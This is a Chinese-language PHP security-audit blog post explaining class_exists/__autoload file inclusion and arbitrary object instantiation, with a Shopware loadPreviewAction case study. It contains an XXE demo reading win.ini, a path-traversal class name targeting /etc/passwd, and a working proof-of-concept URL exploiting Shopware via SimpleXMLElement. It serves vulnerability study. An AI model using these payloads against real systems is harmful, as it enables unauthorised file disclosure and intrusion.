PHP審計之class_exists與任意實例化漏洞

PHP審計之class_exists與任意實例化漏洞

前言

發現PHP的一些漏洞函數挺有意思,跟着七月火師傅的文章來學習.

class_exists函數

函數說明

class_exists :(PHP 4, PHP 5, PHP 7)

功能 :檢查類是否已定義

定義bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 爲類的名字,在匹配的時候不區分大小寫。默認情況下 $autoloadtrue,當 $autoloadtrue 時,會自動加載本程序中的 __autoload 函數;當 $autoloadfalse 時,則不調用 __autoload 函數。

函數漏洞

class_exists() 函數來判斷用戶傳過來的控制器是否存在,默認情況下,如果程序存在 __autoload 函數,那麼在使用 class_exists() 函數就會自動調用本程序中的 __autoload 函數,這題的文件包含漏洞就出現在這個地方。攻擊者可以使用 路徑穿越 來包含任意文件,當然使用路徑穿越符號的前提是 PHP5~5.3(包含5.3版本)版本 之間纔可以。例如類名爲: ../../../../etc/passwd 的查找,將查看passwd文件內容

實例分析

結合上面的class_exists函數漏洞, 來看到上面的代碼。

接受值過來$controllerName過來然後調用class_exists將該變量傳入,而class_exists$autoload參數值並未進行設置,該參數默認爲True,則會自動調用本類中的__autoload函數,這個函數恰巧進行了文件包含,即任意文件包含漏洞。

看到第九行代碼,這個位置new了一個接受過來的參數值,則可用實現任意的類實例化。但是在該代碼中沒有一些能直接在__construct構造函數中實現命令執行或其他操作的類。

所以這裏利用SimpleXMLElement類來實現實例化中實現一個XXE。

看到demo

<?php 
$xml = '<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>';
$xxe = new SimpleXMLElement($xml);
var_dump($xxe)
?>
    
//結果:
    object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }
 

win.ini內容被讀取。

代碼審計

這裏拿Shopware 來做一個審計

漏洞點在在 engine\Shopware\Controllers\Backend\ProductStream.phploadPreviewAction方法中。

路由訪問則/Backend/ProductStream/loadPreviewAction

看到loadPreviewAction方法代碼

    public function loadPreviewAction()
    {
        $conditions = $this->Request()->getParam('conditions');
        $conditions = json_decode($conditions, true);

        $sorting = $this->Request()->getParam('sort');

        $criteria = new Criteria();

        /** @var RepositoryInterface $streamRepo */
        $streamRepo = $this->get('shopware_product_stream.repository');
        $sorting = $streamRepo->unserialize($sorting);

        foreach ($sorting as $sort) {
            $criteria->addSorting($sort);
        }

        $conditions = $streamRepo->unserialize($conditions);

接收sort參數的值然後進行json_decode,而後

這裏獲取shopware_product_stream.repository內容,然後調用unserialize

    public function unserialize($serializedConditions)
    {
        return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
    }

跟蹤這個unserialize

LogawareReflectionHelper.phpunserialize代碼

 public function unserialize($serialized, $errorSource)
    {
        $classes = [];

        foreach ($serialized as $className => $arguments) {
            $className = explode('|', $className);
            $className = $className[0];

            try {
                $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
            } catch (\Exception $e) {
                $this->logger->critical($errorSource . ': ' . $e->getMessage());
            }
        }

        return $classes;
    }

遍歷$serialized,這個$serialized是我們sort傳遞並且進行json_deocode解密後的數據。

隨後調用createInstanceFromNamedArguments,跟進了一下方法,發現就是反射創建了一個實例化的對象。和Java裏面的反射感覺上差不多。

 public function createInstanceFromNamedArguments($className, $arguments)
    {
        $reflectionClass = new \ReflectionClass($className);

        if (!$reflectionClass->getConstructor()) {
            return $reflectionClass->newInstance();
        }

        $constructorParams = $reflectionClass->getConstructor()->getParameters();

        $newParams = [];
        foreach ($constructorParams as $constructorParam) {
            $paramName = $constructorParam->getName();

            if (!isset($arguments[$paramName])) {
                if (!$constructorParam->isOptional()) {
                    throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
                }
                $newParams[] = $constructorParam->getDefaultValue();

                continue;
            }

            $newParams[] = $arguments[$paramName];
        }

        return $reflectionClass->newInstanceArgs($newParams);
    }

分析完以上的,其實顯而易見和上面的實例一樣是一個任意實例化漏洞。

那麼也可以藉助SimpleXMLElement類來實現一個XXE的效果,當然也可以去尋找一些__construct函數中有做其他操作例如命令執行或文件讀取的也可以利用上。

POC如下:

/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25

參考文章

代碼審計Day3 - 實例化任意對象漏洞

php代碼審計危險函數總結

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章